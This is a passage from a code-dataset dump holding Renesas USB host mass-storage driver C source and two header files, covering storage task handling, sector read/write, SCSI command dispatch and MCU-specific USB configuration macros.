R_usb_hmsc_TaskOpen( ptr, 0, 0 );\n\n for( i = 0; i < (USB_MAXDRIVE + 1); i++ )\n {\n usb_ghmsc_DriveChk[i][0] = USB_NO; /* Yes/No */\n usb_ghmsc_DriveChk[i][1] = 0; /* Unit Number */\n usb_ghmsc_DriveChk[i][2] = 0; /* Partition Number */\n usb_ghmsc_DriveChk[i][3] = 0; /* Device address */\n usb_ghmsc_DriveChk[i][4] = 0; /* Device number */\n usb_ghmsc_DriveChk[i][5] = 0; /* USB IP number */\n }\n\n usb_ghmsc_MaxDrive = USB_DRIVE;\n usb_ghmsc_StrgCount = 0;\n} /* eof R_usb_hmsc_StrgTaskOpen() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_StrgTaskClose\nDescription : Storage task close\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid R_usb_hmsc_StrgTaskClose(USB_UTR_t *ptr)\n{\n /* Task close */\n R_usb_hmsc_TaskClose(ptr);\n USB_PRINTF0(\"*** Release Host MS device driver ***\\n\");\n} /* eof R_usb_hmsc_StrgTaskClose() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_StrgDriveTask\nDescription : Storage drive task\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid R_usb_hmsc_StrgDriveTask(void)\n{\n USB_UTR_t *mess;\n USB_ER_t err; /* Error code */\n#ifdef FREE_RTOS_PP\n for( ;; )\n {\n#endif\n /* receive message */\n err = R_USB_TRCV_MSG( USB_HSTRG_MBX, (USB_MSG_t**)&mess, (uint16_t)0 );\n if( err != USB_E_OK )\n {\n#ifdef FREE_RTOS_PP\n continue;\n#else\n return;\n#endif\n }\n\n switch( mess->msginfo )\n {\n case USB_MSG_CLS_INIT:\n break;\n /* enumeration waiting of other device */\n case USB_MSG_CLS_WAIT:\n usb_hmsc_ClassWait(USB_HSTRG_MBX, mess);\n break;\n case USB_MSG_HMSC_STRG_DRIVE_SEARCH:\n /* Drive search */\n usb_hmsc_StrgDriveSearchAct((USB_CLSINFO_t *)mess);\n break;\n case USB_MSG_HMSC_DEV_READ_PARTITION:\n /* Read partition */\n usb_hmsc_SmpDevReadPartitionAct((USB_CLSINFO_t *)mess);\n break;\n case USB_MSG_HMSC_STRG_USER_COMMAND:\n /* R_usb_hmsc_StrgUserCommand Result */\n usb_hmsc_strg_user_command_result((USB_CLSINFO_t *)mess);\n break;\n#ifdef FREE_RTOS_PP\n case USB_NONE:\n R_tfat_disk_read_write_complete((USB_CLSINFO_t *)mess);\n break;\n#endif\n default:\n break;\n }\n\n err = R_USB_REL_BLK(USB_HSTRG_MPL,(USB_MH_t)mess);\n\n if( err != USB_E_OK )\n {\n USB_PRINTF0(\"### USB Strg Task rel_blk error\\n\");\n }\n#ifdef FREE_RTOS_PP\n }\n#endif\n} /* eof R_usb_hmsc_StrgDriveTask() */\n\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_StrgDriveSearch\nDescription : Searches drive SndMsg\nArguments : uint16_t addr : Address\nReturn value : uint16_t : Status\n******************************************************************************/\nuint16_t R_usb_hmsc_StrgDriveSearch(USB_UTR_t *ptr, uint16_t addr, USB_CB_t complete)\n{\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *cp;\n\n usb_shmsc_StrgDriveSearchSeq[ptr->ip] = USB_SEQ_0;\n\n /* Get mem pool blk */\n if( R_USB_PGET_BLK(USB_HSTRG_MPL,&p_blf) == USB_E_OK )\n {\n cp = (USB_CLSINFO_t*)p_blf;\n cp->msginfo = USB_MSG_HMSC_STRG_DRIVE_SEARCH;\n cp->keyword = addr;\n\n cp->ip = ptr->ip;\n cp->ipp = ptr->ipp;\n cp->complete = complete;\n\n /* Send message */\n err = R_USB_SND_MSG( USB_HSTRG_MBX, (USB_MSG_t*)p_blf );\n if( err != USB_E_OK )\n {\n err = R_USB_REL_BLK(USB_HSTRG_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### StrgDriveSearch function snd_msg error\\n\");\n }\n }\n else\n {\n USB_PRINTF0(\"### StrgDriveSearch function pget_blk error\\n\");\n }\n return (err);\n} /* eof R_usb_hmsc_StrgDriveSearch() */\n\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_StrgDriveClose\nDescription : Releases drive\nArguments : uint16_t side : Side\nReturn value : uint16_t : [DONE/ERROR]\n******************************************************************************/\nuint16_t R_usb_hmsc_StrgDriveClose( USB_UTR_t *ptr, uint16_t side )\n{\n if( (USB_MEDIADRIVE != USB_DRIVE) && (side == USB_MEDIADRIVE) )\n { /* Memory device */\n usb_hmsc_SmpFsiSectorInitialized(side, (uint32_t)0, (uint16_t)0);\n return (USB_DONE);\n }\n else\n { /* USB device */\n /* Device Status */\n if( R_usb_hmsc_GetDevSts( side ) != USB_HMSC_DEV_ATT )\n {\n USB_PRINTF1(\"### device det(R_usb_hmsc_StrgDriveClose:side=%d)\\n\", side);\n return (USB_ERROR);\n }\n usb_hmsc_SmpFsiSectorInitialized(side, (uint32_t)0, (uint16_t)0);\n return (USB_DONE);\n }\n} /* eof R_usb_hmsc_StrgDriveClose() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_StrgReadSector\nDescription : Releases drive\nArguments : uint16_t side : Side\n : uint8_t *buff : Buffer address\n : uint32_t secno : Sector number\n : uint16_t seccnt : Sector count\n : uint32_t trans_byte : Trans byte\nReturn value : uint16_t : [DONE/ERROR]\n******************************************************************************/\nuint16_t R_usb_hmsc_StrgReadSector(USB_UTR_t *ptr, uint16_t side, uint8_t *buff\n , uint32_t secno, uint16_t seccnt, uint32_t trans_byte )\n{\n uint16_t result;\n\n /* Device Status */\n if( R_usb_hmsc_GetDevSts( side ) != USB_HMSC_DEV_ATT )\n {\n USB_PRINTF1(\"### device det(R_usb_hmsc_StrgReadSector:side=%d)\\n\", side);\n return (USB_ERROR);\n }\n result = R_usb_hmsc_Read10(ptr, side, buff, secno, seccnt, trans_byte);\n\n return (result);\n} /* eof R_usb_hmsc_StrgReadSector() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_StrgWriteSector\nDescription : Writes sector information\nArguments : uint16_t side : Side\n : uint8_t *buff : Buffer address\n : uint32_t secno : Sector number\n : uint16_t seccnt : Sector count\n : uint32_t trans_byte : Trans byte\nReturn value : uint16_t : [DONE/ERROR]\n******************************************************************************/\nuint16_t R_usb_hmsc_StrgWriteSector(USB_UTR_t *ptr, uint16_t side, uint8_t *buff\n , uint32_t secno, uint16_t seccnt, uint32_t trans_byte )\n{\n uint16_t result;\n\n /* Device Status */\n if( R_usb_hmsc_GetDevSts( side ) != USB_HMSC_DEV_ATT )\n {\n USB_PRINTF1(\"### device det(R_usb_hmsc_StrgWriteSector:side=%d)\\n\", side);\n return (USB_ERROR);\n }\n result = R_usb_hmsc_Write10(ptr, side, buff, secno, seccnt, trans_byte);\n return(result);\n} /* eof R_usb_hmsc_StrgWriteSector() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_StrgUserCommand\nDescription : USB Mass Storage Command\nArguments : uint16_t side : Side\n : uint16_t command : Command\n : uint8_t *buff : Buffer address\n : USB_CB_t complete : callback info\nReturn value : uint16_t : [DONE/ERROR]\n******************************************************************************/\nuint16_t R_usb_hmsc_StrgUserCommand(USB_UTR_t *ptr, uint16_t side, uint16_t command\n , uint8_t *buff, USB_CB_t complete)\n{\n uint16_t result;\n\n if( (USB_MEDIADRIVE != USB_DRIVE) && (side == USB_MEDIADRIVE) )\n { /* Memory device */\n USB_PRINTF1(\"### not support command(StrgUserCommand:side=%d)\\n\", side);\n return (USB_ERROR);\n }\n else\n { /* USB device */\n /* Device Status */\n if( R_usb_hmsc_GetDevSts( side ) != USB_HMSC_DEV_ATT )\n {\n USB_PRINTF1(\"### device det(StrgUserCommand:side=%d)\\n\", side);\n return (USB_ERROR);\n }\n\n switch( command )\n {\n case USB_ATAPI_TEST_UNIT_READY:\n usb_shmsc_StrgProcess[ptr->ip] = USB_MSG_HMSC_STRG_USER_COMMAND;\n usb_shmsc_command_result[ptr->ip] = complete;\n /* Test unit */\n result = R_usb_hmsc_TestUnit(ptr, side);\n break;\n case USB_ATAPI_REQUEST_SENSE:\n usb_shmsc_StrgProcess[ptr->ip] = USB_MSG_HMSC_STRG_USER_COMMAND;\n usb_shmsc_command_result[ptr->ip] = complete;\n /*Request sense */\n result = R_usb_hmsc_RequestSense(ptr, side, buff);\n break;\n case USB_ATAPI_FORMAT_UNIT:\n return (USB_ERROR);\n break;\n case USB_ATAPI_INQUIRY:\n usb_shmsc_StrgProcess[ptr->ip] = USB_MSG_HMSC_STRG_USER_COMMAND;\n usb_shmsc_command_result[ptr->ip] = complete;\n /* Inquiry */\n result = R_usb_hmsc_Inquiry(ptr, side, buff);\n break;\n case USB_ATAPI_MODE_SELECT6:\n usb_shmsc_StrgProcess[ptr->ip] = USB_MSG_HMSC_STRG_USER_COMMAND;\n usb_shmsc_command_result[ptr->ip] = complete;\n /* Mode select6 */\n result = R_usb_hmsc_ModeSelect6(ptr, side, buff);\n break;\n case USB_ATAPI_MODE_SENSE6:\n return (USB_ERROR);\n break;\n case USB_ATAPI_START_STOP_UNIT:\n return (USB_ERROR);\n break;\n case USB_ATAPI_PREVENT_ALLOW:\n usb_shmsc_StrgProcess[ptr->ip] = USB_MSG_HMSC_STRG_USER_COMMAND;\n usb_shmsc_command_result[ptr->ip] = complete;\n /* Prevent allow */\n result = R_usb_hmsc_PreventAllow(ptr, side, buff);\n break;\n case USB_ATAPI_READ_FORMAT_CAPACITY:\n usb_shmsc_StrgProcess[ptr->ip] = USB_MSG_HMSC_STRG_USER_COMMAND;\n usb_shmsc_command_result[ptr->ip] = complete;\n /* Read format capacity */\n result = R_usb_hmsc_ReadFormatCapacity(ptr, side, buff);\n break;\n case USB_ATAPI_READ_CAPACITY:\n usb_shmsc_StrgProcess[ptr->ip] = USB_MSG_HMSC_STRG_USER_COMMAND;\n usb_shmsc_command_result[ptr->ip] = complete;\n /* Read capacity */\n result = R_usb_hmsc_ReadCapacity(ptr, side, buff);\n break;\n case USB_ATAPI_READ10:\n case USB_ATAPI_WRITE10:\n return (USB_ERROR);\n break;\n case USB_ATAPI_SEEK:\n case USB_ATAPI_WRITE_AND_VERIFY:\n case USB_ATAPI_VERIFY10:\n return (USB_ERROR);\n break;\n case USB_ATAPI_MODE_SELECT10:\n return (USB_ERROR);\n break;\n case USB_ATAPI_MODE_SENSE10:\n usb_shmsc_StrgProcess[ptr->ip] = USB_MSG_HMSC_STRG_USER_COMMAND;\n usb_shmsc_command_result[ptr->ip] = complete;\n /* Mode sense10 */\n result = R_usb_hmsc_ModeSense10(ptr, side, buff);\n break;\n default:\n return (USB_ERROR);\n break;\n }\n if( result == USB_HMSC_OK )\n {\n return (USB_DONE);\n }\n else\n {\n return (USB_ERROR);\n }\n }\n} /* eof R_usb_hmsc_StrgUserCommand() */\n\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.46164795756340027, "alphanum_fraction": 0.5061128735542297, "avg_line_length": 40.46527862548828, "blob_id": "56adba763ec652855fbe8d11dae18176b7603b5f", "content_id": "1d18f73b116b26d64b15605fc7baeb325901c8b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 11942, "license_type": "no_license", "max_line_length": 120, "num_lines": 288, "path": "/r_usb_hmsc/src/inc/r_usb_hmsc_define.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hmsc_define.h\n* Description : USB User definition Pre-pro\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n#ifndef __R_USB_HMSC_DEFINE_H__\n#define __R_USB_HMSC_DEFINE_H__\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_cTypedef.h\" /* type define */\n\n\n/*****************************************************************************\nMacro definitions\n******************************************************************************/\n#define USB_HMSC_DEV_DET (uint16_t)0x00 /* detached device */\n#define USB_HMSC_DEV_ATT (uint16_t)0x01 /* attached device */\n#define USB_HMSC_DEV_ENU (uint16_t)0x02 /* Device enumeration */\n\n\n#define USB_MAXDRIVE (uint16_t)16 /* Max drive */\n#define USB_MAXSTRAGE (uint16_t)8 /* Max device */\n\n#define USB_DRIVE 0\n#define USB_MEDIADRIVE USB_DRIVE\n\n\n/******************************************************************************\nEnum define\n******************************************************************************/\n/* USB Mass Storage Device Class Request code define. */\nenum usb_gpmsc_Request\n{\n USB_MASS_STORAGE_RESET = 0xFF00, /* Mass dtorage reset request. */\n USB_GET_MAX_LUN = 0xFE00, /* Get max logical unit number */\n};\n\n/* GET_MAX_LUN request check code. */\nenum usb_gpmsc_LunReqChk\n{\n USB_MSC_LUN_LENGTH = 0x01, /* GET_MAX_LUN request wLength. */\n};\n\n/* USB Mass Storage Devie Class Lapper check. */\nenum usb_gpmsc_Case13check\n{\n /* Device No Data */\n USB_MSC_Dnxx = 0x10,\n /* Device Send(IN) Data */\n USB_MSC_Dixx = 0x20,\n /* Device Recieved(OUT) Data */\n USB_MSC_Doxx = 0x30,\n /* Host No Data */\n USB_MSC_xxHn = 0x01,\n /* Host Recieved(IN) Data */\n USB_MSC_xxHi = 0x02,\n /* Host Send(OUT) Data */\n USB_MSC_xxHo = 0x03,\n /* Device No Data & Host No Data */\n USB_MSC_DnHn = 0x11,\n /* Device No Data & Host Recieved(IN) Data */\n USB_MSC_DnHi = 0x12,\n /* Device No Data & Host Send(OUT) Data */\n USB_MSC_DnHo = 0x13,\n /* Device Send(IN) Data & Host No Data */\n USB_MSC_DiHn = 0x21,\n /* Device Send(IN) Data & Host Recieved(IN) Data */\n USB_MSC_DiHi = 0x22,\n /* Device Send(IN) Data & Host Send(OUT) Data */\n USB_MSC_DiHo = 0x23,\n /* Device Recieved(OUT) Data & Host No Data */\n USB_MSC_DoHn = 0x31,\n /* Device Recieved(OUT) Data & Host Recieved(IN) Data */\n USB_MSC_DoHi = 0x32,\n /* Device Recieved(OUT) Data & Host Send(OUT) Data */\n USB_MSC_DoHo = 0x33,\n};\n\n/* USB Mass Storage Devie Class Lapper check. */\nenum usb_gpmsc_Case13nun\n{\n USB_MSC_CASE00 = 0x00, /* CBW check case00(Not Use) */\n USB_MSC_CASE01 = 0x01, /* CBW check case01 */\n USB_MSC_CASE02 = 0x02, /* CBW check case02 */\n USB_MSC_CASE03 = 0x03, /* CBW check case03 */\n USB_MSC_CASE04 = 0x04, /* CBW check case04 */\n USB_MSC_CASE05 = 0x05, /* CBW check case05 */\n USB_MSC_CASE06 = 0x06, /* CBW check case06 */\n USB_MSC_CASE07 = 0x07, /* CBW check case07 */\n USB_MSC_CASE08 = 0x08, /* CBW check case08 */\n USB_MSC_CASE09 = 0x09, /* CBW check case09 */\n USB_MSC_CASE10 = 0x10, /* CBW check case10 */\n USB_MSC_CASE11 = 0x11, /* CBW check case11 */\n USB_MSC_CASE12 = 0x12, /* CBW check case12 */\n USB_MSC_CASE13 = 0x13, /* CBW check case13 */\n};\n\n\n/* ERROR CODE */\nenum usb_ghmsc_Error\n{\n USB_HMSC_OK = (uint16_t)0,\n USB_HMSC_STALL = (uint16_t)-1,\n USB_HMSC_CBW_ERR = (uint16_t)-2, /* CBR error */\n USB_HMSC_DAT_RD_ERR = (uint16_t)-3, /* Data IN error */\n USB_HMSC_DAT_WR_ERR = (uint16_t)-4, /* Data OUT error */\n USB_HMSC_CSW_ERR = (uint16_t)-5, /* CSW error */\n USB_HMSC_CSW_PHASE_ERR = (uint16_t)-6, /* Phase error */\n USB_HMSC_SUBMIT_ERR = (uint16_t)-7, /* submit error */\n};\n\n\ntypedef struct DRIVE_MANAGEMENT /* Structure for DRIVE No. */\n{\n uint16_t use_flag; /* USE flag */\n uint16_t ip; /* IP No. */\n uint16_t dev_adr; /* Device address */\n}\nDRIVE_MANAGEMENT_t;\n\n\n/*****************************************************************************\nMacro definitions\n******************************************************************************/\n/* CBW Structure define. */\n#define USB_MSC_CBWLENGTH 31\n#define USB_MSC_CBWCB_LENGTH 12\n#define USB_MSC_CSW_LENGTH 13\n\n/* CPU bit endian select (BIT_LITTLE:little, BIT_BIG:big) */\n#if USB_CPUBYTE_PP == USB_BYTE_BIG_PP\n #define USB_MSC_CBW_SIGNATURE (uint32_t)0x55534243\n #define USB_MSC_CSW_SIGNATURE (uint32_t)0x55534253\n#else /* USB_CPUBYTE_PP == USB_BYTE_BIG_PP */\n #define USB_MSC_CBW_SIGNATURE (uint32_t)0x43425355\n #define USB_MSC_CSW_SIGNATURE (uint32_t)0x53425355\n#endif /* USB_CPUBYTE_PP == USB_BYTE_BIG_PP */\n\n/* subClass code */\n#define USB_ATAPI_MMC5 (uint8_t)0x02\n#define USB_ATAPI (uint8_t)0x05\n#define USB_SCSI (uint8_t)0x06\n#define USB_BOTP (uint8_t)0x50\n#define USB_TOTALEP (uint8_t)0x02\n\n#define USB_MSG_HMSC_NO_DATA (uint16_t)0x501\n#define USB_MSG_HMSC_DATA_IN (uint16_t)0x502\n#define USB_MSG_HMSC_DATA_OUT (uint16_t)0x503\n#define USB_MSG_HMSC_CSW_ERR (uint16_t)0x504\n#define USB_MSG_HMSC_CSW_PHASE_ERR (uint16_t)0x505\n#define USB_MSG_HMSC_CBW_ERR (uint16_t)0x506\n#define USB_MSG_HMSC_DATA_STALL (uint16_t)0x507\n\n#define USB_MSG_HMSC_STRG_DRIVE_SEARCH (uint16_t)0x601\n#define USB_MSG_HMSC_DEV_READ_SECTOR_SIZE (uint16_t)0x602\n#define USB_MSG_HMSC_DEV_READ_PARTITION (uint16_t)0x603\n#define USB_MSG_HMSC_STRG_DRIVE_OPEN (uint16_t)0x604\n#define USB_MSG_HMSC_STRG_USER_COMMAND (uint16_t)0x605\n\n#define USB_HMSC_DRIVEMOUNT (uint16_t)0x1000\n#define USB_HMSC_FILEREAD (uint16_t)0x1001\n#define USB_HMSC_FILEWRITE (uint16_t)0x1002\n#define USB_HMSC_DRIVE_OPEN (uint16_t)0x1003\n#define USB_HMSC_DRIVE_OPEN2 (uint16_t)0x1004\n#define USB_HMSC_WAIT (uint16_t)0x1005\n\n#define TFAT_SECT_SIZE (512) /* TFAT Sector Size */\n#define USB_HMSC_CLSDATASIZE (512)\n\n#define USB_SQ_DATA1 (1)\n#define USB_SQ_DATA0 (0)\n\n/******************************************************************************\nBit Order Definition \"LEFT\"\n******************************************************************************/\n#pragma bit_order left\n\n/*****************************************************************************\nTypedef definitions\n******************************************************************************/\n/* CBW Structure define. */\ntypedef struct\n{\n uint32_t dCBWSignature;\n uint32_t dCBWTag;\n uint8_t dCBWDTL_Lo;\n uint8_t dCBWDTL_ML;\n uint8_t dCBWDTL_MH;\n uint8_t dCBWDTL_Hi;\n struct\n {\n uint8_t CBWdir:1;\n uint8_t reserved7:7;\n }\n bmCBWFlags;\n struct\n {\n uint8_t reserved4:4;\n uint8_t bCBWLUN:4;\n }\n bCBWLUN;\n struct\n {\n uint8_t reserved3:3;\n uint8_t bCBWCBLength:5;\n }\n bCBWCBLength;\n#if (((USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) && (USB0_IPTYPE_PP == USB_HS_PP))\\\n ||((USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) && (USB1_IPTYPE_PP == USB_HS_PP)))\n uint8_t CBWCB[(16 + (512-31))];\n#else /* USB0_IPTYPE_PP == USB_HS_PP || USB1_IPTYPE_PP == USB_HS_PP */\n uint8_t CBWCB[(16 + (64-31))];\n#endif /* USB0_IPTYPE_PP == USB_HS_PP || USB1_IPTYPE_PP == USB_HS_PP */\n}\nUSB_MSC_CBW_t;\n\n/* CSW Structure define define. */\ntypedef struct\n{\n uint32_t dCSWSignature;\n uint32_t dCSWTag;\n uint8_t dCSWDataResidue_Lo;\n uint8_t dCSWDataResidue_ML;\n uint8_t dCSWDataResidue_MH;\n uint8_t dCSWDataResidue_Hi;\n uint8_t bCSWStatus;\n#if (((USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) && (USB0_IPTYPE_PP == USB_HS_PP))\\\n ||((USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) && (USB1_IPTYPE_PP == USB_HS_PP)))\n uint8_t dummy[(512-13)]; /* DTC Receive Size dummy (MAX Packet size = 512Byte) */\n#else /* USB0_IPTYPE_PP == USB_HS_PP || USB1_IPTYPE_PP == USB_HS_PP */\n uint8_t dummy[(64-13)]; /* DTC Receive Size dummy (MAX Packet size = 64Byte) */\n#endif /* USB0_IPTYPE_PP == USB_HS_PP || USB1_IPTYPE_PP == USB_HS_PP */\n}\nUSB_MSC_CSW_t;\n\n/* CSW STATUS */\nenum usb_gcmsc_CswSts\n{\n USB_MSC_CSW_OK = (uint16_t)0x00,\n USB_MSC_CSW_NG = (uint16_t)0x01,\n USB_MSC_CSW_PHASE_ERR = (uint16_t)0x02\n};\n\n/******************************************************************************\nBit Order Definition default\n******************************************************************************/\n#pragma bit_order\n\n/* Host Sample Task */\n#define USB_HMSC_TSK USB_TID_4 /* Task ID */\n#define USB_HMSC_MBX USB_HMSC_TSK /* Mailbox ID */\n#define USB_HMSC_MPL USB_HMSC_TSK /* Memorypool ID */\n\n/* Host Sample Task */\n#define USB_HSTRG_TSK USB_TID_5 /* Task ID */\n#define USB_HSTRG_MBX USB_HSTRG_TSK /* Mailbox ID */\n#define USB_HSTRG_MPL USB_HSTRG_TSK /* Memorypool ID */\n\n#endif /* __R_USB_HMSC_DEFINE_H__ */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.48348528146743774, "alphanum_fraction": 0.5063518285751343, "avg_line_length": 39.301204681396484, "blob_id": "bb3127eb289a26e901e9c3bc1b257d9a6eaba904", "content_id": "755eca38e994efe0aac45291914c460527a78b06", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6691, "license_type": "no_license", "max_line_length": 120, "num_lines": 166, "path": "/r_usb_basic/src/HW/inc/r_usb_fixed_config.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_fixed_config.h\n* Description : USB Fixed Configuration\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n#ifndef __R_USB_FIXEDCFG_RX_H__\n#define __R_USB_FIXEDCFG_RX_H__\n\n/* !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*/\n/* !!!!! WARNING--You can not edit this file. !!!!!*/\n/* !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*/\n\n/*****************************************************************************\nMacro definitions (COMMON)\n******************************************************************************/\n\n\n#if defined(BSP_MCU_RX64M)\n\n /* Select PORT */\n #define USB_PORTSEL_PP USB_1PORT_PP /* 1port in 1IP */\n\n /* The number of USBIP */\n #define USB_NUM_USBIP 2\n\n /* Select Transfer Speed */\n #define USB0_IPTYPE_PP USB_FS_PP\n #define USB1_IPTYPE_PP USB_HS_PP\n\n /* Select IP mode DEVADD MAX */\n #define USB_IP_DEVADD_PP USB_IP_DEVADD_A_PP\n\n /* FIFO port register default access size */\n #define USB0_CFIFO_MBW USB_MBW_16\n #define USB0_D0FIFO_MBW USB_MBW_16\n #define USB0_D1FIFO_MBW USB_MBW_16\n #define USB1_CFIFO_MBW USB_MBW_32\n #define USB1_D0FIFO_MBW USB_MBW_32\n #define USB1_D1FIFO_MBW USB_MBW_32\n\n#endif /* defined(BSP_MCU_RX64M) */\n\n#if defined(BSP_MCU_RX71M)\n\n /* Select PORT */\n #define USB_PORTSEL_PP USB_1PORT_PP /* 1port in 1IP */\n\n /* The number of USBIP */\n #define USB_NUM_USBIP 2\n\n /* Select Transfer Speed */\n #define USB0_IPTYPE_PP USB_FS_PP\n #define USB1_IPTYPE_PP USB_HS_PP\n\n /* Select IP mode DEVADD MAX */\n #define USB_IP_DEVADD_PP USB_IP_DEVADD_A_PP\n\n /* FIFO port register default access size */\n #define USB0_CFIFO_MBW USB_MBW_16\n #define USB0_D0FIFO_MBW USB_MBW_16\n #define USB0_D1FIFO_MBW USB_MBW_16\n #define USB1_CFIFO_MBW USB_MBW_32\n #define USB1_D0FIFO_MBW USB_MBW_32\n #define USB1_D1FIFO_MBW USB_MBW_32\n\n#endif /* defined(BSP_MCU_RX71M) */\n\n#if defined(BSP_MCU_RX63N)\n\n /* Select PORT */\n #define USB_PORTSEL_PP USB_1PORT_PP /* 1port in 1IP */\n\n /* The number of USBIP */\n #define USB_NUM_USBIP 2\n\n /* Select Transfer Speed */\n #define USB0_IPTYPE_PP USB_FS_PP\n #define USB1_IPTYPE_PP USB_HS_PP\n\n /* Select IP mode DEVADD MAX */\n #define USB_IP_DEVADD_PP USB_IP_DEVADD_A_PP\n\n /* FIFO port register default access size */\n #define USB0_CFIFO_MBW USB_MBW_16\n #define USB0_D0FIFO_MBW USB_MBW_16\n #define USB0_D1FIFO_MBW USB_MBW_16\n #define USB1_CFIFO_MBW USB_MBW_32\n #define USB1_D0FIFO_MBW USB_MBW_32\n #define USB1_D1FIFO_MBW USB_MBW_32\n\n#endif /* defined(BSP_MCU_RX64M) */\n\n /* Start Pipe No */\n #define USB_MIN_PIPE_NO USB_PIPE1\n\n /* USB Device address define */\n #define USB_DEVICEADDR 1u /* PORT0 USB Address (1 to 10) */\n\n /* Clock mode */\n #define USB_USBIP_LPW_PP USB_CLK_NOT_STOP_PP\n\n /* Sleep mode */\n #define USB_LPWRSEL_PP USB_LPSM_DISABLE_PP\n\n /* Data Trans mode */\n #define USB_TRANS_MODE_PP USB_TRANS_DTC_PP\n\n /* HUB Address */\n #define USB_HUBDPADDR (uint16_t)(USB_DEVICEADDR + 1u)\n\n #define USB_MAX_FILENUMBER 16\n #define USB_DEVICENUM 10\n\n #define USB_BC_SUPPORT_IP USB_USBIP_1\n\n\n/*****************************************************************************\nMacro definitions (Host Mode)\n******************************************************************************/\n/* Number of software retries when a no-response condition occurs during a transfer */\n#define USB_PIPEERROR (1u)\n\n/* Descriptor size */\n#define USB_DEVICESIZE (20u) /* Device Descriptor size */\n#define USB_CONFIGSIZE (256u) /* Configuration Descriptor size */\n\n\n/* HUB down port */\n#define USB_HUBDOWNPORT (4u) /* HUB downport (MAX15) */\n\n/* Total number of Interface */\n#define USB_IFNUM (1u)\n\n/* Total number of Configuration */\n#define USB_CFGNUM (1u)\n#define USB_MAX_DEVICENUM (USB_DEVICENUM * USB_IFNUM * USB_CFGNUM)\n\n\n#endif /* __R_USB_FIXEDCFG_RX_H__ */\n/******************************************************************************\nEnd Of 